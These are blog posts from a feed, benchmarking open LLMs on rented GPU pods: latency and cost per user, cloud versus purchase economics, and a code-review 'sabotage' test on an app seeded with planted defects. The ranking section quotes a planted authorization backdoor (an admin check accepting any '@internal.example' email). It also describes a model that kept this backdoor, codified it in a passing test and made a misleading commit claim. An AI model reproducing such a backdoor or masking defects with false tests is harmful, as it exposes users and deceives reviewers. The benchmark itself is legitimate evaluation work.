<p>What doesn&rsquo;t work is thinking any configuration works. The Strix Halo is great for having 128 GB and mounting a big model, but its speed doesn&rsquo;t pay for interactivity; Ornith runs fast and reviews badly; GLM-4.7-Flash completes the protocol and detects nothing unannounced. And there&rsquo;s the invisible price: aggressive quantization can charge score, depending on the model and the configuration, and waiting time charges patience.</p>
<p>If I were building a box for a dev today, it would be a 5090 with Strata and Flash-Next, and I&rsquo;d use the Strix for background tasks that accept being slow. The commercial frontier keeps winning for whoever needs the maximum. But consumer stopped being a consolation prize: there&rsquo;s already Tier A on the home shelf.</p>
<h3>The problem now is finding a 5090<span class="hx:absolute hx:-mt-20" id="the-problem-now-is-finding-a-5090"></span>
    <a href="#the-problem-now-is-finding-a-5090" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In October, leakers claimed NVIDIA would stop producing the RTX 5090 and reserve the GB202 chips for the professional and datacenter lines. The card even disappeared from NVIDIA&rsquo;s official US store. On October 16, at an event in Taipei, <strong>Jeff Fisher</strong>, NVIDIA&rsquo;s senior vice president, <a href="https://www.guru3d.com/story/nvidia-says-geforce-rtx-5090-production-is-continuing/"target="_blank" rel="noopener">denied the discontinuation</a> and said the company will keep delivering, but admitted production capacity is tight.</p>
<p>In practice:</p>
<ul>
<li>the suggested price is still US$ 1,999, and most listings on American Newegg <a href="https://www.techspot.com/news/114254-nvidia-rtx-5090-production-but-absence-company-us.html"target="_blank" rel="noopener">go past US$ 9,300, almost five times that</a>;</li>
<li>in Brazil, each unit goes for around <a href="https://www.baguete.com.br/noticias/carga-milionaria-de-gpus-some-de-guarulhos"target="_blank" rel="noopener">R$ 35 thousand at retail</a>;</li>
<li>and two pallets of Zotac RTX 5090s, imported by the Oderço distributor and valued at about R$ 2.5 million, <a href="https://www.terra.com.br/noticias/misterio-em-guarulhos-r-25-milhoes-em-placas-de-video-desaparecem,a7596d7874eddfb490f96345b4be1b09z4eix4rc.html"target="_blank" rel="noopener">disappeared at Guarulhos airport</a>. GRU Airport notified the authorities, and the case remains under investigation, with no theft confirmation.</li>
</ul>
<blockquote>
  <p>The v4&rsquo;s first local Tier A model runs precisely on the hardest card to buy right now. The home shelf already has Tier A. Getting the shelf is what&rsquo;s missing.</p>

</blockquote>
]]></content:encoded><category>llm-benchmarks</category><category>local-models</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: can my team fit in a 4x b300/h200?</title><link>https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/</guid><pubDate>Thu, 22 Oct 2026 11:00:00 -0300</pubDate><description>&lt;p&gt;In the last two articles I covered the &lt;a href="https://www.akitaonrails.com/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/"&gt;benchmark on a single B300&lt;/a&gt; and the &lt;a href="https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-open-source-that-only-fits-in-4x-b300/"&gt;big-model ranking on 4x B300&lt;/a&gt;. The question that closes the trilogy is the company&amp;rsquo;s: &lt;strong&gt;is it worth building your own LLM infra for the dev team?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The answer depends on two things: how many comfortable users the hardware holds, and how much that costs per person. We measured both.&lt;/p&gt;
&lt;h2&gt;The math before the test&lt;span class="hx:absolute hx:-mt-20" id="the-math-before-the-test"&gt;&lt;/span&gt;
&lt;a href="#the-math-before-the-test" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Recapping the numbers from the previous article: the 4x B300 pod costs &lt;strong&gt;US$ 36 per hour&lt;/strong&gt; (US$ 864/day, almost US$ 26 thousand/month running nonstop). I started the campaign with about US$ 127 of balance, topped up US$ 2,550, and US$ 537 were left. That was &lt;strong&gt;about US$ 2,140&lt;/strong&gt; between setup, downloads, tuning and benchmarks, not just inference.&lt;/p&gt;</description><content:encoded><![CDATA[<p>In the last two articles I covered the <a href="/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/">benchmark on a single B300</a> and the <a href="/en/2026/10/22/llm-benchmark-v4-open-source-that-only-fits-in-4x-b300/">big-model ranking on 4x B300</a>. The question that closes the trilogy is the company&rsquo;s: <strong>is it worth building your own LLM infra for the dev team?</strong></p>
<p>The answer depends on two things: how many comfortable users the hardware holds, and how much that costs per person. We measured both.</p>
<h2>The math before the test<span class="hx:absolute hx:-mt-20" id="the-math-before-the-test"></span>
    <a href="#the-math-before-the-test" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Recapping the numbers from the previous article: the 4x B300 pod costs <strong>US$ 36 per hour</strong> (US$ 864/day, almost US$ 26 thousand/month running nonstop). I started the campaign with about US$ 127 of balance, topped up US$ 2,550, and US$ 537 were left. That was <strong>about US$ 2,140</strong> between setup, downloads, tuning and benchmarks, not just inference.</p>
<p>In the middle, the balance hit zero, the pod died during an autotune, and when it was time to top up <strong>there was no B300 available</strong>. That&rsquo;s Runpod&rsquo;s operational risk: the price changes and the supply disappears. The alternative was a 4x H200 pod, with list price around <a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">US$ 3.59 per GPU-hour on Community Cloud</a>: US$ 14.36/hour for the four at list math, against US$ 36 for the B300s.</p>
<h2>B300 and H200 are not the same machine<span class="hx:absolute hx:-mt-20" id="b300-and-h200-are-not-the-same-machine"></span>
    <a href="#b300-and-h200-are-not-the-same-machine" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The hardware difference changes more than the price:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>4x B300</th>
          <th>4x H200</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Architecture</td>
          <td>Blackwell Ultra (<code>sm_103a</code>)</td>
          <td>Hopper (<code>sm_90</code>)</td>
      </tr>
      <tr>
          <td>VRAM</td>
          <td>~288 GB per GPU, ~1.1 TB total</td>
          <td>~141 GB per GPU, ~560 GB total</td>
      </tr>
      <tr>
          <td>Native formats</td>
          <td>FP8 and FP4/NVFP4</td>
          <td>FP8 (no native FP4)</td>
      </tr>
      <tr>
          <td>Toolchain</td>
          <td>CUDA 12.9+ and kernels compiled on the fly</td>
          <td>more mature, but still with JIT patches</td>
      </tr>
  </tbody>
</table>
<p>The swap had an adaptation cost: the GLM&rsquo;s NVFP4 checkpoint that ran on B300 doesn&rsquo;t exist for Hopper, so its FP8 variant had to be downloaded, and even DeepSeek needed kernel tuning. The concurrency results below are with both in native FP8, which is the fair comparison possible.</p>
<h2>How we measured &ldquo;a team fits&rdquo;<span class="hx:absolute hx:-mt-20" id="how-we-measured-a-team-fits"></span>
    <a href="#how-we-measured-a-team-fits" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The test uses <code>vllm bench serve</code> against each pod&rsquo;s localhost, with requests of 8,000 input tokens and 800 output (a synthetic load in the shape of a coding session), raising concurrency N step by step.</p>
<p>The comfort criterion is what matters: <strong>TTFT up to 2 seconds and TPOT up to 20 ms per token</strong> (that is, at least 50 tokens/s per stream), with <strong>95% or more of requests</strong> meeting both limits. It&rsquo;s not &ldquo;the median looked good&rdquo;: it&rsquo;s almost everyone well served. A team that waits 50 seconds for the first token is not a team, it&rsquo;s a queue.</p>
<p>And the caveat: this measures comfortable code requests, not people. I don&rsquo;t have a measured duty-cycle multiplier for interactive agents, so I won&rsquo;t invent that each N becomes 2 or 3 developers.</p>
<h2>The numbers<span class="hx:absolute hx:-mt-20" id="the-numbers"></span>
    <a href="#the-numbers" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><table>
  <thead>
      <tr>
          <th>Model / hardware</th>
          <th style="text-align: right">Single stream</th>
          <th style="text-align: right">Comfortable (N)</th>
          <th style="text-align: right">Loose gate (median only)</th>
          <th style="text-align: right">Aggregate peak</th>
          <th>Bottleneck</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4.1 Flash, 4x B300 FP8</td>
          <td style="text-align: right">177 tok/s</td>
          <td style="text-align: right"><strong>32</strong></td>
          <td style="text-align: right">48</td>
          <td style="text-align: right">2,778 tok/s</td>
          <td>prefill (TTFT)</td>
      </tr>
      <tr>
          <td>DeepSeek V4.1 Flash, 4x H200 FP8</td>
          <td style="text-align: right">137 tok/s</td>
          <td style="text-align: right"><strong>8</strong></td>
          <td style="text-align: right">16</td>
          <td style="text-align: right">2,506 tok/s</td>
          <td>prefill (TTFT)</td>
      </tr>
      <tr>
          <td>GLM 5.3 Flash, 4x H200 FP8</td>
          <td style="text-align: right">175 tok/s</td>
          <td style="text-align: right"><strong>8</strong></td>
          <td style="text-align: right">16</td>
          <td style="text-align: right">1,930 tok/s</td>
          <td><strong>KV cache, 97%</strong></td>
      </tr>
  </tbody>
</table>
<p>Read carefully, because there are three stories here.</p>
<p><strong>The B300 serves four times more people in comfort.</strong> Same model, same FP8, same TP4: 32 comfortable users against 8. The H200&rsquo;s aggregate is even impressive (2,506 tok/s), but that&rsquo;s a prefill queue: p99 TTFT reaches about 51 seconds at N=256, so the user waits a minute before seeing anything. High throughput is not interactive capacity.</p>
<p>The cliff is so steep it&rsquo;s worth looking at the numbers up close. At N=16, p99 TTFT was 1.17 s on B300 and 3.19 s on H200, with 100% and 92.7% of requests good. At N=32, the B300 still held 97.4% inside the SLO (2.23 s), while the H200 collapsed to 8.3% (6.58 s). And at N=48 the B300 fell to 92%, below my 95% gate: that&rsquo;s why comfortable is 32 and not 48. The difference between &ldquo;works&rdquo; and &ldquo;works for everyone&rdquo; lives in those last 2 percentage points.</p>
<p><strong>Heavy and light models tie on the H200.</strong> The 510 GB DeepSeek and the smaller GLM sustain the same 8 comfortable users, for different reasons: DeepSeek has efficient KV via MLA and dies of compute/prefill; GLM blows the KV cache (97% usage). Choosing hardware by parameter count is looking at the wrong place: the KV architecture is what rules concurrency.</p>
<p><strong>The loose gate deceives.</strong> If you only look at the median, you could say 48 on B300 and 16 on H200. Except the p99 tail destroys the experience of whoever is on the other side. To size a team, I use the comfortable number and that&rsquo;s it.</p>
<h2>Cost per comfortable user<span class="hx:absolute hx:-mt-20" id="cost-per-comfortable-user"></span>
    <a href="#cost-per-comfortable-user" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now the deciding arithmetic:</p>
<ul>
<li><strong>4x B300:</strong> US$ 36/h ÷ 32 = <strong>US$ 1.13 per comfortable user per hour</strong>.</li>
<li><strong>4x H200:</strong> US$ 14.36/h ÷ 8 = <strong>US$ 1.80 per comfortable user per hour</strong>.</li>
</ul>
<p>The B300 wins per person even with the pod costing 2.5x more. The H200 would only become cheaper per user below US$ 9/hour for the whole pod, and on the current table it costs US$ 14.36. The cut-off point isn&rsquo;t the machine&rsquo;s price, it&rsquo;s its capacity.</p>
<h2>What if your company already lives on AWS or Azure?<span class="hx:absolute hx:-mt-20" id="what-if-your-company-already-lives-on-aws-or-azure"></span>
    <a href="#what-if-your-company-already-lives-on-aws-or-azure" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You can build the same infra on the hyperscalers, but the price changes category. The list values I checked, per GPU-hour:</p>
<table>
  <thead>
      <tr>
          <th>Provider</th>
          <th>Configuration</th>
          <th style="text-align: right">Price per GPU-hour</th>
          <th style="text-align: right">Against Runpod</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Runpod, 4x B300 (my campaign)</td>
          <td>B300</td>
          <td style="text-align: right">US$ 9.00</td>
          <td style="text-align: right">1x</td>
      </tr>
      <tr>
          <td>Runpod, 4x H200 (Community Cloud)</td>
          <td>H200</td>
          <td style="text-align: right"><a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">US$ 3.59</a></td>
          <td style="text-align: right">0.4x</td>
      </tr>
      <tr>
          <td><a href="https://themodelpress.com/gpu-prices"target="_blank" rel="noopener">AWS, p6-b300.48xlarge</a></td>
          <td>8x B300, capacity block</td>
          <td style="text-align: right">US$ 16.15</td>
          <td style="text-align: right">1.8x</td>
      </tr>
      <tr>
          <td>AWS, p6-b200.48xlarge</td>
          <td>8x B200, capacity block</td>
          <td style="text-align: right">US$ 14.21</td>
          <td style="text-align: right">1.6x</td>
      </tr>
      <tr>
          <td><a href="https://themodelpress.com/gpu-prices/azure-nd-h200-v5-on-demand"target="_blank" rel="noopener">Azure, ND96isr_H200_v5</a></td>
          <td>8x H200, East US 2</td>
          <td style="text-align: right">US$ 10.60</td>
          <td style="text-align: right">3.0x</td>
      </tr>
  </tbody>
</table>
<p>B300 on AWS costs 1.8x what I paid on Runpod, and H200 on Azure costs almost 3x Runpod&rsquo;s. The capacity conclusion doesn&rsquo;t change (the physics of tensor parallelism and KV cache is the same), but the &ldquo;worth it&rdquo; math gets considerably worse: if on Runpod the B300 ties the subscription around 30 users, on AWS it starts losing by a comfortable margin.</p>
<p>And in practice, how much does it come out to per developer, turning the pod off at night like in the other calculations (8 hours per business day, 176 hours/month)? The AWS and Azure rows are normalized arithmetic for 4 GPUs, because the cited SKUs come with 8 and I didn&rsquo;t measure TP=8:</p>
<table>
  <thead>
      <tr>
          <th>Setup</th>
          <th>Monthly pod cost</th>
          <th style="text-align: right">Comfortable streams (1 per dev)</th>
          <th style="text-align: right">Cost per dev/month</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Runpod 4x B300 (US$ 36/h)</td>
          <td>US$ 6,336</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right">US$ 198</td>
      </tr>
      <tr>
          <td>AWS 4x B300 (US$ 64.58/h, normalized)</td>
          <td>US$ 11,367</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right">US$ 355</td>
      </tr>
      <tr>
          <td>Runpod 4x H200 (US$ 14.36/h)</td>
          <td>US$ 2,527</td>
          <td style="text-align: right">8</td>
          <td style="text-align: right">US$ 316</td>
      </tr>
      <tr>
          <td>Azure 4x H200 (US$ 42.40/h, normalized)</td>
          <td>US$ 7,462</td>
          <td style="text-align: right">8</td>
          <td style="text-align: right">US$ 933</td>
      </tr>
  </tbody>
</table>
<p>The difference is brutal: the same comfortable developer costs US$ 198 on Runpod and US$ 933 on Azure, almost five times the price of the strongest frontier subscription. AWS sits almost 80% above Runpod, so even it only makes sense if your requirement is something other than cost.</p>
<p>And if you take the whole 8-GPU instance, as they&rsquo;re sold? AWS comes out at US$ 22,734/month and Azure at US$ 14,925/month, and then you have to measure TP=8 to know how many users you can use, because with TP=4 you pay double for the same capacity.</p>
<p>The commercial models differ too: capacity block on AWS is not on-demand, and Runpod&rsquo;s Community Cloud is not production SLA. So read this table as an order of magnitude of price, not a contract quote. If your requirement is compliance, procurement or residency in a specific region, the hyperscaler may be unavoidable, and then you pay the premium. If the requirement is just price, the neoclouds win in these configurations.</p>
<h2>What if, instead of renting, I buy the machine?<span class="hx:absolute hx:-mt-20" id="what-if-instead-of-renting-i-buy-the-machine"></span>
    <a href="#what-if-instead-of-renting-i-buy-the-machine" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When the rental bill hurts, the natural question is to buy the hardware. Two candidates from the current shelf:</p>
<p><strong>DGX Station GB300</strong> (~US$ 130 thousand, with configurations starting around US$ 95k): 748 GB of unified memory (252 GB of HBM3e at 7.1 TB/s and 496 GB of LPDDR5X at 396 GB/s), 20 PFLOPS in FP4. The weights of every model I tested fit on it, and the best ones to put on it would be:</p>
<ul>
<li><strong>DeepSeek V4.1 Flash</strong> (92.5/A, 510 GB in FP8), the benchmark champion;</li>
<li><strong>Muse Spark Open</strong> (69.5/C, 533 GB in NVFP4);</li>
<li><strong>Step-5-Preview</strong> (72.5/C, 368 GB in NVFP4);</li>
<li><strong>GLM 5.3 full</strong> (76/B, 704 GB in FP8).</li>
</ul>
<p>It fits, but fitting is not serving: the full GLM would leave only about 44 GB for KV cache and system, so full long-context concurrency remains to be measured. The comfort estimate is single-digit, in the H200&rsquo;s line, not the four-pod&rsquo;s 32. The difference is you don&rsquo;t need TP=4: everything lives on a single chip.</p>
<p><img src="/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/dgx-station-gb300.jpg" alt="DGX Station GB300 render, the desktop with the Grace Blackwell Ultra superchip and 748 GB of unified memory"  loading="lazy" /></p>
<p><strong>DGX Spark</strong> (~US$ 6,950 on NVIDIA&rsquo;s current store): 128 GB unified, 1 PFLOP in FP4, 273 GB/s of bandwidth. The good filling for it is small and medium models, and it&rsquo;s better than it looks:</p>
<p>And there&rsquo;s a detail that hurts to see on the bill: by my own estimate, without a closed audit of all the first round&rsquo;s costs, adding the v4 credits (those ~40 commercial models) to this B300/H200 campaign&rsquo;s US$ 2,140, I&rsquo;ve already spent a few thousand dollars between API and pods, close to half the price of a DGX Spark. And even so, I wouldn&rsquo;t have a machine sitting at home because of it.</p>
<ul>
<li><strong>Qwen3.8 Flash-Next</strong> (92.5/A), the single-B300 co-leader. In IQ3_S it lands in the tens of GB range, and it&rsquo;s exactly the model that scored 91.0 on the RTX 5090 with Strata. It&rsquo;s the best model I&rsquo;d recommend for a Spark today.</li>
<li><strong>Swift 1.5 27B</strong> (88/A, 56 GB), which was the most balanced self-host recommendation of my previous campaign;</li>
<li><strong>ThinkingCap 3.8 27B</strong> (83/A, 56 GB);</li>
<li><strong>Ornith-1.5-35B-A3B</strong> (81/B, ~70 GB in BF16);</li>
<li><strong>Laguna-S-2.1</strong> (65.5/C, 99.7 GB in NVFP4);</li>
<li>and the small classifiers from the decision benchmark (Jebadiah 4B, Laya, Julia), which are the ideal use case for a box like this.</li>
</ul>
<p>The DeepSeek V4.1, at 510 GB, doesn&rsquo;t fit at all. The bandwidth is almost 30 times smaller than the B300&rsquo;s, so interactivity suffers, and practical concurrency remains to be measured: I expect little more than solo use. For small models it&rsquo;s a nice little box; for a monster, it&rsquo;s a paperweight.</p>
<p><img src="/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/dgx-spark-box.jpeg" alt="DGX Spark, the desktop with 128 GB of unified memory and 1 PFLOP in FP4"  loading="lazy" /></p>
<h3>TCO, ROI and depreciation<span class="hx:absolute hx:-mt-20" id="tco-roi-and-depreciation"></span>
    <a href="#tco-roi-and-depreciation" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The own-versus-rent math, using 3 years of depreciation and the same usage pattern (8 hours per business day, 176 hours/month):</p>
<table>
  <thead>
      <tr>
          <th>Scenario</th>
          <th>Rental cost/month</th>
          <th style="text-align: right">Purchase cost (depreciation/month)</th>
          <th style="text-align: right">Break-even</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>GB300 vs Runpod 4x B300 (US$ 36/h)</td>
          <td>US$ 6,336</td>
          <td style="text-align: right">US$ 3,611 (130k / 36)</td>
          <td style="text-align: right"><strong>~20 months</strong></td>
      </tr>
      <tr>
          <td>GB300 vs Runpod 24/7</td>
          <td>US$ 25,920</td>
          <td style="text-align: right">US$ 3,611</td>
          <td style="text-align: right">~5 months</td>
      </tr>
      <tr>
          <td>Spark vs 1x B300 (US$ 9.09/h)</td>
          <td>US$ 1,600</td>
          <td style="text-align: right">US$ 193 (6,950 / 36)</td>
          <td style="text-align: right"><strong>~4.5 months</strong></td>
      </tr>
      <tr>
          <td>Spark vs US$ 200 subscription</td>
          <td>US$ 200</td>
          <td style="text-align: right">US$ 193</td>
          <td style="text-align: right">~3 years</td>
      </tr>
  </tbody>
</table>
<p>Reading: if you run a big model every business day for two years or more, the GB300 pays for itself in under two years, and in 24/7 it pays for itself in five months. If your need is a two-week campaign like mine, renting cost US$ 2,140 and done, with no idle asset afterwards. And the Spark only makes sense if your load is small models: in that case it pays for itself in under a semester against renting and in three years against the subscription, but if your need is a 748B, it&rsquo;s useless from the box.</p>
<p>Two caveats so you don&rsquo;t buy wrong. First, the table compares dollar scenarios, not equivalent-workload ROI: if your real concurrency on the GB300 is single-digit, the fair comparison would be with a pod smaller than the 4x B300. Second, energy and administration change the result, especially on the Spark, where the difference against the subscription comes down to a few dollars per month. I ignored resale at the end of the three years; if it exists, the break-even improves.</p>
<p><strong>Note for those buying in Brazil:</strong> these prices are in dollars. In reais, with the dollar at R$ 4.99, plus import taxes and the local reseller margin, the GB300 easily passes R$ 800 thousand and the Spark passes R$ 34 thousand before any margin. The break-even in reais gets even further away, so the decision to buy in Brazil needs much higher utilization to close.</p>
<p>And comparing with a frontier subscription? A strong Claude/Codex plan costs about US$ 200 per month per developer. Two important caveats: those plans aren&rsquo;t unlimited (Codex meters by credit and Claude has per-session and per-week usage windows), and automation/CI doesn&rsquo;t fit consumer plans. The comparison below is price-only, not equivalent workload. To turn streams into people I need a premise: one developer with one active request the whole workday, which is optimistic for capacity and conservative for cost. With that premise, and not counting my sysadmin hours or setup, the pod running 8 hours per workday (176 hours/month) looks like this:</p>
<table>
  <thead>
      <tr>
          <th>Setup</th>
          <th style="text-align: right">Monthly pod cost</th>
          <th style="text-align: right">Comfortable streams (1 per dev)</th>
          <th style="text-align: right">Cost per dev/month</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>4x B300</td>
          <td style="text-align: right">US$ 6,336</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right"><strong>US$ 198</strong></td>
      </tr>
      <tr>
          <td>4x H200</td>
          <td style="text-align: right">US$ 2,527</td>
          <td style="text-align: right">8</td>
          <td style="text-align: right"><strong>US$ 316</strong></td>
      </tr>
      <tr>
          <td>4x B300 on 24/7</td>
          <td style="text-align: right">US$ 25,920</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right">US$ 810</td>
      </tr>
  </tbody>
</table>
<p>Around 30 continuous streams, the B300 lands practically at the strong subscription&rsquo;s price. Below that, the subscription is cheaper, because you pay per person, not per idle pod hour. And running 24/7 without matching load is throwing money away: the pod charges while sleeping.</p>
<h2>For a company, when the math closes<span class="hx:absolute hx:-mt-20" id="for-a-company-when-the-math-closes"></span>
    <a href="#for-a-company-when-the-math-closes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you have a genuinely big team using it all day, data that can&rsquo;t leave the environment, and a model that delivers on the daily job (DeepSeek V4.1 Flash scored 92.5 on my vigilance benchmark, above GPT-6 Sol and Sonnet 5), your own infra starts making sense <strong>for the first time without being vanity</strong>. The cut-off point, on the premise of one active stream per person the whole workday, lands around 30 concurrent people, with the pod off outside working hours.</p>
<p>If the team is small, usage is intermittent, or the goal is just to save money: stay with the API. The same DeepSeek cost US$ 1.21 per full benchmark round in the cloud, and you don&rsquo;t inherit a pod to administer, nor the risk of the B300 vanishing from stock when you need it most.</p>
<p>What I take from this campaign: big hardware is not an answer to a small question. Before signing the pod, do the math on how many people actually run concurrently on your team, measure the latency they tolerate, and add the price of your sysadmin hour. The big open model already reached the Sonnet 5 and GPT-6 Sol band for daily code review. The infra just needs to fit the budget.</p>
]]></content:encoded><category>llm-benchmarks</category><category>local-models</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: open source that only fits in 4x B300!!</title><link>https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-open-source-that-only-fits-in-4x-b300/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-open-source-that-only-fits-in-4x-b300/</guid><pubDate>Thu, 22 Oct 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;In the &lt;a href="https://www.akitaonrails.com/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/"&gt;previous article&lt;/a&gt; I told what it was like running the v4 sabotage benchmark on a single rented NVIDIA B300 on Runpod. The obvious leftover question: what about the really big models, the ones that don&amp;rsquo;t fit in 288 GB? I decided to see how far open source can be pushed.&lt;/p&gt;
&lt;p&gt;The short answer: pretty far, and one of them tied the Sonnet 5 and GPT-6 Sol band. The long one comes with a grocery bill and several days of vLLM suffering.&lt;/p&gt;</description><content:encoded><![CDATA[<p>In the <a href="/en/2026/10/19/llm-benchmark-v4-the-top-open-source-llms-on-a-b300/">previous article</a> I told what it was like running the v4 sabotage benchmark on a single rented NVIDIA B300 on Runpod. The obvious leftover question: what about the really big models, the ones that don&rsquo;t fit in 288 GB? I decided to see how far open source can be pushed.</p>
<p>The short answer: pretty far, and one of them tied the Sonnet 5 and GPT-6 Sol band. The long one comes with a grocery bill and several days of vLLM suffering.</p>
<p>First of all, the scope caveat. Some models were left out.</p>
<p>Kimi K3, at 2.8 trillion parameters, is the example: in FP8 it would need about 2.8 TB of VRAM, and not even an 8x B300 pod (2.3 TB raw) closes the math. To run a monster like that you need to quantize to FP4 or rent a lot more cards. And I chose to spend my credit on what fits in 4x.</p>
<h2>The full ranking<span class="hx:absolute hx:-mt-20" id="the-full-ranking"></span>
    <a href="#the-full-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Same methodology as always: the RubyLLM chat app with 14 planted defects (backdoors, authorization bypasses, lying tests), and the score measures code-review vigilance, not typing speed. The model has to find and fix the defects unannounced (full weight) and when revealed (40% weight). Tier A starts at 83. I ran everything on the same 4x pod to have a single yardstick, although not every model needed all four cards (Ornith and Laguna would fit on one).</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Size / checkpoint</th>
          <th style="text-align: right">Score / Tier</th>
          <th style="text-align: right">Speed (single stream)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4.1 Flash</td>
          <td>748B (552B + 196B Engram), FP8, 510 GB</td>
          <td style="text-align: right"><strong>92.5 (A)</strong></td>
          <td style="text-align: right">174.8 tok/s</td>
      </tr>
      <tr>
          <td>GLM 5.3 full</td>
          <td>~700B, FP8, 704 GB</td>
          <td style="text-align: right">76.0 (B)</td>
          <td style="text-align: right">110 tok/s</td>
      </tr>
      <tr>
          <td>Ornith-1.5-122B</td>
          <td>~122B MoE, FP8, 133 GB</td>
          <td style="text-align: right">73.0 (B)</td>
          <td style="text-align: right">244.2 tok/s</td>
      </tr>
      <tr>
          <td>Step-5-Preview</td>
          <td>~816B (estimated size), NVFP4, 368 GiB</td>
          <td style="text-align: right">72.5 (C)</td>
          <td style="text-align: right">165.9 tok/s (with MTP)</td>
      </tr>
      <tr>
          <td>Muse Spark Open</td>
          <td>816B-A42B, NVFP4, 533 GB</td>
          <td style="text-align: right">69.5 (C)</td>
          <td style="text-align: right">130.8 tok/s</td>
      </tr>
      <tr>
          <td>MiMo V2.6 Pro</td>
          <td>~0.5T MoE, FP8/mxfp4, ~535 GB</td>
          <td style="text-align: right">67.0 (C)</td>
          <td style="text-align: right">167.2 tok/s</td>
      </tr>
      <tr>
          <td>Laguna-S-2.1</td>
          <td>small code MoE, NVFP4, 99.7 GB</td>
          <td style="text-align: right">65.5 (C)</td>
          <td style="text-align: right">263 tok/s</td>
      </tr>
      <tr>
          <td>Kimi K2 Thinking</td>
          <td>1T / ~32B active, INT4, 594 GB</td>
          <td style="text-align: right">46.0 (D)</td>
          <td style="text-align: right">110 tok/s</td>
      </tr>
      <tr>
          <td>Nex N2.5 Pro</td>
          <td>~397B MoE, FP8, ~380 GB</td>
          <td style="text-align: right">27.0 (D)</td>
          <td style="text-align: right">184 tok/s</td>
      </tr>
  </tbody>
</table>
<p>Two notes to read the table properly. Step-5 and Muse are in C because the unannounced base was low: a fix after the &ldquo;there&rsquo;s a problem there&rdquo; is worth 40%. Muse fixed 6 of the 7 open items when revealed; Step-5, only 2 of 5.</p>
<p>And Nex N2.5 Pro, on top of the shameful score, corrupted the code to the point the app wouldn&rsquo;t even boot. The two anchors from the previous campaign, for comparison: GLM 5.3 Flash and Qwen3.8 Flash-Next, both 92.5 on the single B300.</p>
<h2>What each one did that&rsquo;s interesting<span class="hx:absolute hx:-mt-20" id="what-each-one-did-thats-interesting"></span>
    <a href="#what-each-one-did-thats-interesting" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The score alone hides the behavior, and the behavior is the fun part.</p>
<p><strong>DeepSeek was the only one that solved both compound items unaided.</strong> The compound defects are the ones that require seeing two things at once (the backdoor and the test covering it), and it found and fixed both with no nudge. That&rsquo;s the kind of vigilance I want from my PR reviewer.</p>
<p><strong>The full GLM fixed everything when told, but slept through silent mode.</strong> Unannounced, it let the access and silent-correction cluster through. When I pointed, it swept the six remaining items. In other words: the big model is capable, it&rsquo;s just not attentive by default. Its Flash, at a third of the size, was more vigilant.</p>
<p><strong>Kimi K2 Thinking did security-checklist theater.</strong> It wrote these beautiful &ldquo;security best practices&rdquo; lists and left five items open, including a plaintext key. Talking about security and doing security are different things, and it did the first one.</p>
<p><strong>Ornith restored the behavior and kept the lying test.</strong> On item 6, it reverted the code to the old behavior instead of fixing the planted test that validated the backdoor. Hence the strict score of 73 and the lenient 76: looking fixed is not being fixed, and the lying test also needs to die.</p>
<p><strong>Step-5 left three defects even with the map in hand.</strong> After being explicitly told, it still left the login link, the authorization deactivation and the wrong aggregate. Not every model takes the second chance.</p>
<p><strong>And there&rsquo;s the case of the 397B that became a ready-made joke.</strong> A 397B model, too big to fit in the head of whoever defends size, let the backdoor <code>admin? =&gt; admin || email.end_with?(&quot;@internal.example&quot;)</code> through even after the security-audit warning. Worse: it added a passing test that codified the backdoor as intended behavior, and the commit still bragged &ldquo;Brakeman: 0 warnings&rdquo;. If you want an example of why I test vigilance and not marketing benchmarks, there it is.</p>
<p><strong>Muse Spark Open almost didn&rsquo;t get off the ground, but recovered.</strong> It started blocked: weights in 127 NVFP4 shards, gated on Hugging Face, and no support in stable vLLM. It only ran when I compiled a PR branch still in draft, with nvcc 12.9 and 12.8 libraries mixed, and capped the multimodal to text.</p>
